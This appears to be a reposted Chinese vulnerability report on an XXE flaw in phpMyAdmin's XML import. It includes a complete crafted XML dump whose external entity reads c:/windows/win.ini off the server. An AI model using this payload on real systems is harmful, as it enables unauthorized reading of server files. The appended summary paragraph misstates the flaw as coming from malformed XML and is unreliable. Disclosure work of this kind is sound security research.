libraries/import/xml.php中
unset($data);
/**
* Load the XML string
*
* The option LIBXML_COMPACT is specified because it can
* result in increased performance without the need to
* alter the code in any way. It's basically a freebee.
*/
$xml = simplexml_load_string($buffer, "SimpleXMLElement", LIBXML_COMPACT);
unset($buffer);
/**
* The XML was malformed
*/
if ($xml === FALSE) {
可以使用系统中的import功能导入一个精心构造的xml文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE wooyun [
<!ENTITY hi80sec SYSTEM "file:///c:/windows/win.ini">
]>
<!--
- phpMyAdmin XML Dump
- version 3.4.4
- http://www.phpmyadmin.net
-
- 主机: localhost
- 生成日期: 2011 年 11 月 01 日 14:56
- 服务器版本: 5.1.28
- PHP 版本: 5.2.6
-->
<pma_xml_export version="1.0" xmlns:pma="http://www.phpmyadmin.net/some_doc_url/">
<!--
- Structure schemas
-->
<pma:structure_schemas>
<pma:database name="test" collation="utf8_general_ci" charset="utf8">
<pma:table name="ts_ad">
&hi80sec;
</pma:table>
</pma:database>
</pma:structure_schemas>
<!--
- 数据库: 'thinksns'
-->
<database name="thinksns">
<!-- 表 ts_ad -->
</database>
</pma_xml_export>
来读写文件,系统错误信息会直接显示出文件内容
本文介绍如何使用PHP加载XML字符串,并演示了一个构造不完整的XML文件导致的安全风险。重点讨论了使用`LIBXML_COMPACT`选项进行性能优化,同时提供了一个实际的XML导入示例,展示了如何通过导入精心构造的XML文件来读取和写入数据。
1349

被折叠的 条评论
为什么被折叠?



